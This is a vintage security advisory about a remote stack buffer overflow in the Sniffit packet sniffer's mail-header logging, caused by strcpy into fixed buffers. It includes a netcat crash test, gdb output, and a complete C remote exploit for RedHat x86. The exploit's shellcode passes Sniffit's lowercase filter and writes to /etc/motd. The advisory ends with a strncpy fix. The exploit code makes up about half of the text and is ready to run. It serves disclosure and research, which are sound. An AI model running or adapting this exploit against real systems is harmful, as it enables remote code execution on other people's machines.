COMMAND

    Sniffit

SYSTEMS AFFECTED

    Possibly all systems running Sniffit

PROBLEM

    Following is based  on SPJ Security  Advisory by FuSyS.   Affected
    are  possibly  all  systems  running  Sniffit  (0.3.7beta  and all
    versions  logging  mail  headers).  Successfull  attacks depend on
    being able to craft shellcodes so they can bypass input filter.

    Credits  for  pointing  to  the  bug  goes  to |CyRaX|, of Packets
    Knights Crew  and to  all those  stealth people  who saw  this and
    didn't speak.   Though 0.3.7 is  still in beta  state, there seems
    to  be  a  lot  of  admins  which  rely on Sniffit for dumping and
    controlling  network  flows  in  their  LANs.   But  the   problem
    described here only applies  to a particular configuration  option
    which  is  probably  not  very  utilised, since it interferes with
    users  privacy  (yeah,  right).   Sure  it  is  common  in hackers
    conventions  and  UNIX  user  groups'  parties, but that's another
    story.

    There appear  to be  the same  problem though,  in 0.3.6HIP.  This
    could well go  back till 0.3.2  with the introduction  of logfiles
    and log params, supposedly.

    Authors decided not to undergo the usual path with the creator  as
    since 0.3.[2-4]  the error  probably has  been known  for a  while
    now,  and  the  code  we're  supplying  is  not  dangerous  as the
    shellcode simply puts a  polite string in /etc/motd  (if present):
    "fusys was  here".   Note to  script kids:  simply pasting  a more
    complex and aggressive shellcode will do no good, since it  should
    be modified to bypass Sniffit lower case filter.

    This is a very simple  stack based buffer overflow.   Usual stuff,
    static buffers  and user  input don't  go merrily  along together.
    The problem is  evident only when  loggin mail headers  via the -L
    flag.   The smash  occurs when  the logging  flag -L  contains the
    directive 'mail'.   Sniffit will then  look for every  packet that
    contains two strings:  "mail  from:" and "rcpt to:" to  log e-mail
    headers.  Obviously  the admin has  to activate Sniffit  so it can
    dump packets going to port 25.

    The  relevant  code  is  in  sn_analyse.c  where  we  can see that
    pointers containing  the mentioned  strings are  copied to  static
    buffers  using  the  strcpy  function.   The  exploit  is   really
    straightforward as it's possible to  go on till the eip  to change
    the return address. Just a small problem is the fact that  Sniffit
    filters user input  by applying checks  contained in the  strlower
    function.   This  uses  a  simple  isupper?tolower mechanism which
    does  not  protect  against  opcodes  injecting.   So, by slightly
    modifying  publicy  available  shellcodes,  an  attacker with even
    modest assembly programming knowledge can craft a working code  to
    exploit  this  vulnerability.   Here  is  the  relevant  part   in
    sn_analyse.c:

        if(strstr(workbuf1,"mail from")!=NULL)
          {
          char workbuf2[MTU];
        
          strcpy(workbuf2, strstr(workbuf1,"mail from"));

    and

        if(strstr(workbuf1,"rcpt to")!=NULL)
          {
          char workbuf2[MTU];
        
          strcpy(workbuf2, strstr(workbuf1,"rcpt to"));

    So it'simply  a matter  of connecting  to port  25 of the sniffing
    box (or any other host in  the LAN which Sniffit controls, as  per
    admin configuration) and  write at least  211 characters as  email
    address in  the "mail  from:" cmd.   To test  if you're vulnerable
    simply do (if you have, and should, netcat):

        echo "mail from:`perl -e 'print "A"x300'`"|nc -vv HOSTNAME 25

    while using gdb to control  the runtime of Sniffit. As  upper case
    letters are filtered out you should be able to see something  like
    this:

        Program received signal SIGSEGV, Segmentation fault.
        0x61616161 in ?? ()
        (gdb) i all
             eax:        0x0           0
             ecx:  0x8057648   134575688
             edx:  0x8057648   134575688
             ebx: 0xbfff5b84 -1073783932
             esp: 0xbfff47a4 -1073789020
             ebp: 0x61616161  1633771873
             esi: 0xbfff6f0c -1073778932
             edi: 0xbfff6f0c -1073778932
             eip: 0x61616161  1633771873
        
        (...skipped...)

    as 0x41('A') is filtered to 0x61('a') all upper case letters  will
    follow the same destiny, so  the attacker must craft an  all lower
    case  shellcode  with  mixed  sequence  of non printable chars and
    other common witchcraft paraphernalia.

    Here  is  a  simple  code  (as  proof  of  concept) to exploit the
    vulnerability on RedHat Linux x86 systems [note though that  other
    distros  ARE  also  vulnerable  via  other  shellcodes  {for   RET
    morphing}]:

    /*
     * Sniffit 0.3.7beta Linux/x86 Remote Exploit
     * ShellCode is a modified version of w00w00 write egg,
     * to pass Sniffit input filter
     *
     * Tested on 	RedHat 5.2, 6.0, 6.2
     * Proof Of Concept Code
     *
     * credits:	|CyraX| for pointing me to the coredump
     *		del0 for hurrying me :)
     *		vecna for offering me drinks ;P
     *		belf for loving and caring his GSM ;P
     *
     *     			    	     FuSyS [S0ftpj|BFi]
     * 				 http://www.s0ftpj.org/
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <netinet/in.h>
    
    #define LENGTH		600
    #define RET		RH6x
    #define RH52		0xbfff5c10
    #define RH6x		0xbfff5bb5 	// 0.3.6HIP 0xbfffcc50
    #define OFFSET          0
    #define ALIGNOP		3		// 3 RH6.0, 4 RH6.2
					    // may vary [1-5]
    
    
    /* Note To Script Kiddies: This ShellCode Simply Changes An
       Existing /etc/motd So Don't Bother DownLoading */
    
    unsigned char shellcode[]=
    "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
    "\x30\xe4\x88\x63\x09\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4"
    "\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31"
    "\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
    "\x65\x74\x63\x2f\x6d\x6f\x74\x64\x01\x66\x75\x73\x79\x73\x20\x77"
    "\x61\x73\x20\x68\x65\x72\x65\x0a";
    
    unsigned long nameResolve(char *hostname)
    {
      struct in_addr addr;
      struct hostent *hostEnt;
    
      if((addr.s_addr=inet_addr(hostname)) == -1) {
        if(!(hostEnt=gethostbyname(hostname))) {
            printf("Name Resolution Error:`%s`\n",hostname);
            exit(0);
        }
        bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
      }
      return addr.s_addr;
    }
    
    int main(int argc,char **argv)
    {
            char buff[LENGTH+ALIGNOP+1];
	    char cmd[610];
            long addr;
            unsigned long sp;
            int offset=OFFSET;
            int i, x;
            int sock;
            struct sockaddr_in sin;
    
	    if(argc<2) {
		    fprintf(stderr, "Usage: %s <sniffit host>\n", argv[0]);
		    exit(0);
	    }
    
            sp=(unsigned long) RET;
            addr=sp-offset;
    
	    for(i=0;i<120-ALIGNOP;i++)
		    buff[i]=0x90;
	    for(x=0; x<strlen(shellcode); i++, x++)
		    buff[i]=shellcode[x];
	    for(i-=1 ; i<LENGTH; i+=4) {
		    buff[i  ] =  addr & 0x000000ff;
  		    buff[i+1] = (addr & 0x0000ff00) >> 8;
  		    buff[i+2] = (addr & 0x00ff0000) >> 16;
  		    buff[i+3] = (addr & 0xff000000) >> 24;
 	    }
    
	    printf("\nSniffit <=0.3.7beta Linux/x86 Remote Exploit\n");
	    printf("by FuSyS [S0ftpj|BFi] - http://www.s0ftpj.org\n\n");
    
            memset(&sin,0,sizeof(sin));
            sin.sin_family=AF_INET;
            sin.sin_port=htons(25);
            sin.sin_addr.s_addr=nameResolve(argv[1]);
    
	    printf("Connecting to %s ...\n", argv[1]);
    
            if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
            {
                    printf("Can't create socket\n");
                    exit(0);
            }
            if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
            {
                    printf("Can't connect to Sniffit Server\n");
                    exit(0);
            }
    
	    printf("Injecting ShellCode ...\n");
    
	    strncat(cmd, "mail from:", 10);
	    strncat(cmd, buff, strlen(buff));
	    write(sock, cmd, strlen(cmd));
    
	    printf("Done!\n\n");
    
            return(0);
    }

SOLUTION

    The first  obvious solution  to this  simple problem  is to  use a
    fixed-size buffer to store  e-mail addresses, instead of  relaying
    on user input.  In the file  sn_analyse.c , rows  163 and 175,  we
    can  change  strcpy  to  strncpy,  choosing  an arbitrary size for
    delimiting the  input.   Sure, this  is not  an elegant  solution,
    since we can't know the real length of the peer address, but  it's
    better than having our IDS|Sniffing box compromised.